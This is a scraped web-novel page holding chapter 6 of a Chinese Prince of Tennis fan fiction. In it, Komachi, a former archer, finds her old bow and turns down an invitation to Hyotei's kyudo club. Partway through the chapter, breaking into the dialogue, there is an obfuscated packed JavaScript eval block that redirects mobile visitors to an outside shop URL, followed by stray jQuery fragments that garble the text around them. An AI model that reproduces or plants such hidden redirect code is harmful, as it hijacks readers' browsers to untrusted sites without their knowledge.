文趣网 > 都市小说 > [网王/忍足]落点未定 > 6. 旧弓
    储藏室在二楼走廊尽头。

    搬家时来不及整理的纸箱沿墙摞了两层,箱侧贴着白色标签。冬季衣物、旧书、厨房器具,还有几个只写了“小町”的箱子。

    她在门边找到自己的弓袋。

    黑色布面落了一层薄灰。小町伸手碰了碰,指腹立刻沾上一道灰白。

    弓比记忆中更长。

    或许只是因为离开它太久,她已经不习惯房间里出现这样一件东西。弓梢抵着墙面,弓袋微微弯曲,像一条安静垂落的影子。

    小町没有马上拉开束口。

    她蹲下来,先打开旁边的纸箱。

    护胸、弽、备用弦、弦卷和一本深绿色的记录册被分开放好。母亲大概检查过,容易受潮的东西都装进了密封袋,连她以前常用的白色胸当也洗得很干净。

    记录册压在最下面。

    小町将它抽出来。

    纸页边缘已经有些卷了。她从第一页开始翻,里面记着每次练习的日期、箭数和命中数。国中三年级以后,数字旁边多了一些教练留下的批注。

    肩膀放松。

    手肘不要下沉。

    离箭时不要急。

    同样的话重复出现很多次。越接近最后一页,字迹越潦草。

    每次正式比赛结束,她还会在页角补上个人顺位。四、二、一、三、一。升入高中以后,排在名字旁边的数字很少掉出前三。教练开始把她安排在落位,队友也逐渐习惯在最后一轮以前对她说“剩下的交给你”。

    那时她从不觉得这句话沉重。能够被交付,说明她是队伍里最稳定的那一个。她喜欢弓拉满以后所有声音同时远去的感觉,也喜欢成绩公布时,自己的名字出现在足够靠前的位置。两种喜欢一直放在一起,从来没有必要分开。

    她翻到记录终止的地方。

    五月十七日,二十射,十三中。

    五月十九日,二十射,十五中。

    五月二十二日,二十射,九中。

    九中那一行被她用笔圈了起来。力气太重,圆珠笔尖几乎划破纸面。

    小町盯着那个数字看了一会儿,合上记录册。

    走廊上传来翅膀拍动的声音。

    麦茶从半开的门缝里挤进来,先落在纸箱边缘,歪着脑袋观察她。它大概觉得这间平时不允许进入的房间很新鲜,踩着纸板来回走了两步,低头去啄密封袋。

    “不能咬。”

    “不能咬。”麦茶学她。

    “你知道就好。”

    “早上好!”

    小町伸手挡住它,麦茶立刻跳上她的手腕。爪尖隔着针织衫勾住布料,身体暖烘烘的。

    她带着它站起来。

    弓袋的束口仍然没有打开。

    第二天早晨,小町比平时晚了五分钟下楼。

    父亲已经出门,母亲坐在餐厅靠窗的位置确认样衣照片。她面前放着一杯咖啡,杯沿留着很浅的口红印。

    佐藤阿姨将小町的便当放进手提袋。

    “今天有照烧鸡肉。”

    “谢谢。”

    “还放了草莓。要是下午才吃,记得先放进教室的小冰箱。”

    小町点头,拉开椅子坐下。

    早餐是烤吐司和半熟蛋。她切开蛋黄时,母亲放下手机,看了一眼她的袖口。

    “昨晚去储藏室了?”

    小町低头。

    浅色针织衫靠近手肘的位置蹭了一小块灰。她用指腹擦了两下,没擦掉。

    “麦茶带我去的。”

    餐厅另一边,麦茶正站在鸟架上拆一颗松果。听到自己的名字,它抬起头。

    “麦茶最乖!”

    母亲笑了一声,没有拆穿她。

    小町吃完半片吐司,才说:“弓找到了。”

    “嗯。”

    “保存得还可以。”

    “搬来以后请人检查过,没有受潮。”母亲重新拿起手机,“不过你要是想用,最好再送去弓具店调一次。”

    她的语气很平常,像是在讨论一件放久了需要保养的家具。

    小町用叉子碰了碰盘子里的番茄。

    “我没有说要用。”

    “我也没有说你要用。”

    母亲继续滑动屏幕。一条新消息进来,她低头回复,没再看小町。

    窗外有车驶过,阳光在玻璃杯上晃了一下。

    小町把最后一口吐司吃完。

    冰帝的社团申请第一次统计将在周五截止。

    表格一早便发到每个人桌上。班主任在讲台上说明,没有决定社团的人可以暂时不填,之后仍然能够补交。

    纸张从前排向后传。

    小町拿到时,右上角已经被压出一道折痕。她用指甲沿着纸边慢慢抚平,把表格夹进课本。

    藤崎的马尾在肩后一甩,人已经转了过来。

    “你还是不参加吗?”

    “暂时。”

    “那放学以后陪我去编辑部吧。今天要选校刊封面,三个人已经吵了两天。”

    “为什么吵?”

    “一派想用樱花,一派觉得每年都是樱花太无聊,还有一个人坚持放迹部君的照片。”

    “最后那个方案通过的可能性很高吧。”

    藤崎沉默片刻。

    “你对冰帝已经有了正确认识。”

    她还想说什么,讲台上的班主任敲了敲黑板。

    讲台上传来粉笔轻敲黑板的声音,藤崎立刻缩回前排,只留一截马尾还晃在椅背外。

    上午第二节是古典文学。

    老师在黑板上写完和歌,将粉笔放回盒里。窗外的风吹进来,表格的一角从课本里露出,轻轻碰着小町的手背。

    她抬手压住。

    教室右侧靠窗的位置,向日趴在桌上,教科书竖在面前,只露出一小截红棕色的头发。老师点到他的名字时,他整个人明显僵了一下。

    忍足用笔尾敲了敲他的椅背。

    向日抬头,茫然地看向黑板。

    “请解释这一句。”老师说。

    教室里安静了两秒。

    向日低头翻书,动作快得快要把纸页扯破。忍足把自己的课本向旁边推了一点,指尖停在其中一行。

    向日照着念完,勉强坐下。

    老师转过身继续板书。

    “第三个词读错了。”忍足压低声音。

    “你为什么不早点指?”

    “我以为你醒着。”

    “我本来醒着。”

    忍足看了他一眼,没有回答。

    小町收回视线。

    桌下的表格又滑出来一点。

    午休前,弓道部的人来过一次。

    对方是三年级女生,站在教室门口和班主任说话。白色衬衫外套着深色针织背心,长发在脑后束得很整齐。

    水野认出了她。

    “弓道部的副部长,宫下学姐。”

    小町握着自动铅笔,在草稿纸上画了一条直线。

    “她来做什么?”

    “可能是拿申请表。弓道部今年招到的人不多。”

    “冰帝也会招不到人?”

    “网球部、马术部和吹奏乐部拿走了大部分新生。弓道看起来很安静,实际每天都要重复练基本动作,很多人参观一次就放弃了。”

    水野说完才想起来什么,转头看她。

    “不过我不是说弓道无聊。”

    “确实很无聊。”

    小町用橡皮擦掉那条画歪的线。

    同一个动作要做上百次。站姿、取弓、搭箭、举起。即使没有箭,也要对着空气反复确认肩膀和手肘的位置。

    枯燥本身没有问题。

    只要重复能够换来稳定的结果,她甚至喜欢这种枯燥。

    问题是,有时不能。

    宫下学姐从班主任那里接过几张表格,转身离开。她经过后门时,脚步忽然停下。

    “小町?”

    自动铅笔的笔尖在纸上留下一个黑点。

    小町抬起头。

    宫下看着她,脸上的惊讶逐渐变成笑意。

    “真的是你。我在转学生名单上看到名字,还以为只是同名。”

    教室里几个人同时望了过来。

    小町放下笔。

    “好久不见,宫下学姐。”

    “你什么时候来东京的?”

    “上个月。”

    “原来如此。”宫下往教室里走了一步,又像是顾忌午休,没有靠得太近,“我之前问过教练,他也不知道你的情况。”

    小町没有接话。

    宫下手里还拿着弓道部的新生申请表。最上面印着冰帝弓道场的照片,弓道场前种着一排修剪整齐的松树。

    水野拧瓶盖的手慢了半拍,随即把杯子推回桌角,没有插话。

    “你加入社团了吗?”宫下问。

    “还没有。”

    “那要不要来看看?冰帝的道场条件很好,顾问老师以前也带过全国大会的队伍。”

    她说得并不急切,只是习惯性地给出了邀请。

    小町望着申请表上的照片。

    靶场铺着浅色细沙。安土前没有人,六个圆形靶子整齐地排成一列。

    “我暂时没有继续练的打算。”

    宫下的笑意停了一瞬。

    “是因为之前的伤吗?”

    “不是。手腕已经好了。”

    “那是升学?”

    “也不是。”

    小町的指尖压在草稿纸边缘。

    纸张很薄,轻轻一推便在桌面上错开半寸。

    宫下等了片刻,没有追问。

    “我明白了。”

    她从手里的表格中抽出一张,放到小町桌角。

    “这个先给你。不来参观也没关系,哪天改变主意,再联系我。”

    “学姐——”

    “申请表总不会咬人。”

    宫下朝她笑了一下,转身走出教室。

    留在桌角的纸被风吹得掀起一层。

    小町伸手压住。

    周围的声音慢慢恢复。有人继续拆面包包装,有人讨论下午的小测,藤崎从前排回头看了好几次,最后还是忍住没有问。

    水野

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842497|211672||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    拿起水杯。

    “你们以前认识?”

    “国中比赛见过。”

    “她也是神奈川的吗?”

    “嗯。”

    小町把申请表翻过来,空白背面朝上。

    水野的目光在纸上停了一会儿,没有继续问。

    午休结束以前,小町去了一趟洗手间。

    回来时,藤崎正站在她的座位旁,手里拿着校刊编辑部的相机。见她进门,藤崎立刻让开半步。

    “我没有偷看。”

    “桌上没有不能看的东西。”

    “弓道部的表格也可以看?”

    小町走过去,把申请表重新夹进课本。

    藤崎抱紧相机。

    “我只看见了标题。”

    “嗯。”

    “你以前练过弓道?”

    “练过。”

    “很厉害吗?”

    “以前的成绩不错。”

    藤崎眨了眨眼。

    这个回答显然不在她准备好的选项里。

    “比赛成绩呢?”

    “国中拿过个人名次,高一大部分时间也在正选。”

    答案比“不知道”具体,也足够让人理解她曾经很擅长。小町说完,却又觉得它没有真正回答藤崎问的那一句“厉不厉害”。

    “那应该很厉害吧。能参加比赛就已经——”

    “真帆。”

    小町叫住她。

    教室外有人跑过,鞋底在走廊上发出急促的声响。窗帘被风吹起来,擦过课桌边缘,又慢慢落下。

    小町把课本推回桌角。

    “我现在不想参加。”

    “好。”

    藤崎答得很快。

    她把相机背带理顺,低头检查镜头盖。过了一会儿,又小声补充:

    “那放学还是陪我去编辑部吗?”

    “去。”

    藤崎抬起头:“封面选迹部君的话,你会投反对票吧?”

    “我先看照片。”

    “完了,你已经开始动摇了。”

    上课铃响起。

    下午最后一节结束时,天空已经阴下来。

    藤崎被老师叫去办公室,临走前让小町在教室等她五分钟。值日生开始擦黑板,粉笔灰浮在夕阳照不到的地方,像一层很薄的雾。

    小町整理书包时,那张申请表从课本里滑了出来。

    落在地面以前,一只手先将它捡起。

    忍足看了一眼纸上的标题,放到她桌上。

    “你的。”

    “谢谢。”

    他背着网球包,手里还拿着向日忘下的水瓶。大概正准备离开,没有在她桌边停留。

    小町把申请表对折。

    折痕压过“弓道部”三个字,从中间将它们分开。

    忍足的脚步顿了一下。

    “你不参加?”

    “嗯。”

    “这样啊。”

    他没有问为什么。

    小町抬眼看他。

    忍足已经走到后门,向日在走廊上催了一声,他便把水瓶抛过去。

    向日险些没接住。

    “你不能好好递给我吗?”

    “忘在教室的人没有资格挑剔。”

    两个人的声音渐渐远了。

    小町低头看着那张被折过的申请表。

    她原本以为别人看见以后,总会问一句理由。

    因为受伤,因为输掉比赛,因为升学,或者因为对以前的社团不满。只要给出一个足够具体的原因,这件事就能被理解,也能被归类。

    她准备过很多答案。

    忍足却只说了“这样啊”。

    藤崎抱着一叠资料跑进教室。

    “对不起,老师临时让我送东西。等很久了吗?”

    “没有。”

    小町把申请表夹回书里,背起书包。

    “走吧。”

    校刊编辑部位于旧校舍二楼。

    经过连廊时,远处传来网球部集合的哨声。声音穿过树木和建筑,到这里已经变得很轻。

    小町没有回头。

    她将手伸进口袋,摸到早晨随手放进去的弦卷。

    圆形塑料外壳贴着掌心,边缘有一道用了很久留下的缺口。

    她走了几步,才把它拿出来。

    藤崎看见了。

    “这是什么?”

    “弓弦。”

    “你带来学校做什么?”

    小町看着掌心里的弦卷。

    她也不知道。

    出门以前,它明明还和护胸、弽一起放在储藏室的纸箱里。等她意识到时,已经顺手将它装进制服口袋。

    “忘记拿出来了。”

    藤崎“哦”了一声,很快被编辑部群里跳出的十七条未读消息夺走了注意力。

    小町重新收好弦卷。

    前方的编辑部亮着灯,几个人隔着门还在争论樱花与迹部究竟哪一个更能代表冰帝的春天。

    藤崎加快脚步。

    小町跟在她身后,口袋里的弦卷随着动作轻轻碰了一下腿侧。